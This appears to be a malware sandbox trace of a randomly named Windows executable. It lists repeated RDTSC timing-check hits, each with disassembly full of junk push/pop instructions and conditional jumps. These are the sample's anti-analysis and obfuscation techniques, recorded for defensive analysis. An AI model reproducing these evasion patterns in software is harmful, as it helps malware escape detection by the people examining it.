Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91F68D second address: 91F69F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c je 00007FA454E2C846h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA4B5 second address: 8CA4B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA4B9 second address: 8CA4BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA4BF second address: 8CA4D6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FA454545C56h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FA454545C56h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA4D6 second address: 8CA4F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C856h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA4F0 second address: 8CA549 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub dword ptr [ebp+122D1D44h], ecx 0x00000010 add dword ptr [ebp+1246EEF7h], esi 0x00000016 mov ebx, dword ptr [ebp+124945C3h] 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007FA454545C58h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 add eax, ebx 0x00000038 mov edi, dword ptr [ebp+122D35E5h] 0x0000003e push eax 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA549 second address: 8CA54D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA54D second address: 8CA569 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA569 second address: 8CA5B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C853h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov di, ax 0x00000010 push 00000004h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FA454E2C848h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c mov dx, 9963h 0x00000030 nop 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 jno 00007FA454E2C846h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 92611C second address: 926121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 926121 second address: 926137 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA454E2C84Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007FA454E2C846h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9262A2 second address: 9262A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 927119 second address: 92711D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9273BA second address: 9273C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9273C0 second address: 9273CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FA454E2C846h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9273CF second address: 9273D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 92766F second address: 927677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 927677 second address: 92767C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 92767C second address: 927691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454E2C851h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 927916 second address: 92791C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 92791C second address: 927922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 927BB3 second address: 927BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 927BBC second address: 927BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93078F second address: 930799 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA454545C62h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930799 second address: 93079F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93079F second address: 9307C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FA454545C68h 0x0000000b jl 00007FA454545C56h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930919 second address: 930932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C853h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930932 second address: 930938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930938 second address: 930940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930940 second address: 930959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA454545C5Ch 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930A77 second address: 930A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA454E2C846h 0x0000000a jg 00007FA454E2C846h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jg 00007FA454E2C846h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930A92 second address: 930A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930A96 second address: 930AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA454E2C846h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930AA2 second address: 930ACA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007FA454545C56h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edi 0x0000000c pushad 0x0000000d js 00007FA454545C56h 0x00000013 jnp 00007FA454545C56h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push ebx 0x0000001f pushad 0x00000020 jnl 00007FA454545C56h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930DB4 second address: 930DD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C856h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FA454E2C846h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930DD8 second address: 930DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930DDC second address: 930DF2 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA454E2C846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FA454E2C846h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930DF2 second address: 930E0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Bh 0x00000007 jng 00007FA454545C56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 930E0B second address: 930E1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C84Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939387 second address: 93938D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93938D second address: 939391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939391 second address: 9393D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FA454545C67h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FA454545C5Eh 0x00000017 jmp 00007FA454545C5Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 jns 00007FA454545C56h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9393D7 second address: 9393DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9397DC second address: 9397E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push esi 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9397E8 second address: 9397ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93993E second address: 939942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939942 second address: 939948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939948 second address: 939959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jnl 00007FA454545C56h 0x0000000d pop ebx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939A8B second address: 939AAA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA454E2C84Eh 0x00000008 pushad 0x00000009 jmp 00007FA454E2C84Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939D8E second address: 939DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA454545C5Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939DA1 second address: 939DA6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939DA6 second address: 939DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939DAC second address: 939DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 939DB5 second address: 939DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93A080 second address: 93A08C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93A08C second address: 93A098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FA454545C56h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93A098 second address: 93A09C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93A734 second address: 93A739 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93A739 second address: 93A746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007FA454E2C84Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 93AF1A second address: 93AF4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA454545C68h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA454545C62h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 938D0C second address: 938D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C855h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FA454E2C850h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 938D3C second address: 938D50 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA454545C56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007FA454545C62h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 938D50 second address: 938D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 940E04 second address: 940E13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 940E13 second address: 940E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jbe 00007FA454E2C852h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 940E27 second address: 940E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 940821 second address: 940825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 94097E second address: 940990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FA454545C5Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 940AEC second address: 940AF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FA454E2C846h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 940AF7 second address: 940B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 940B00 second address: 940B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 940B04 second address: 940B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9539A2 second address: 9539CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C84Eh 0x00000007 jng 00007FA454E2C85Ch 0x0000000d jmp 00007FA454E2C850h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9553A9 second address: 9553D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FA454545C68h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jo 00007FA454545C56h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 95784B second address: 957852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 957852 second address: 957858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 957858 second address: 95785C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 95785C second address: 957877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA454545C63h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 957995 second address: 95799C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 960462 second address: 96046E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 966E40 second address: 966E5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C857h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 968800 second address: 968828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FA454545C65h 0x0000000b jo 00007FA454545C56h 0x00000011 jns 00007FA454545C56h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 968828 second address: 968833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FA454E2C846h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96ECCB second address: 96ECCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96EFAC second address: 96EFB6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA454E2C84Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96EFB6 second address: 96EFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA454545C5Fh 0x0000000d jnl 00007FA454545C56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96F151 second address: 96F186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007FA454E2C85Eh 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA454E2C84Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96F186 second address: 96F1A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C66h 0x00000007 push esi 0x00000008 jno 00007FA454545C56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96F2CF second address: 96F2D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96F2D5 second address: 96F2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007FA454545C56h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 jmp 00007FA454545C5Bh 0x00000015 popad 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96F449 second address: 96F44D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 96F44D second address: 96F46A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FA454545C5Bh 0x0000000e pop ecx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
